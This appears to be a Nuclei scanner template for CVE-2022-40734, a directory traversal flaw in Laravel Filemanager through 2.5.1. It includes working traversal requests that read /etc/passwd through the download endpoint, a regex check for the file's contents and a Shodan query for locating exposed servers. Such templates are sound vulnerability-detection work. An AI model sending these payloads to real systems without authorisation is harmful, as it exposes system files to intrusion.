id: CVE-2022-40734 info: name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal author: arafatansari severity: medium description: | UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files. reference: - https://github.com/UniSharp/laravel-filemanager/issues/1150 - https://nvd.nist.gov/vuln/detail/CVE-2022-40734 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2022-40734 cwe-id: CWE-22 metadata: shodan-query: http.html:"Laravel Filemanager" verified: "true" tags: cve,cve2022,laravel,unisharp,lfi,traversal requests: - method: GET path: - "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd" - "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd" stop-at-first-match: true matchers: - type: regex regex: - "root:[x*]:0:0"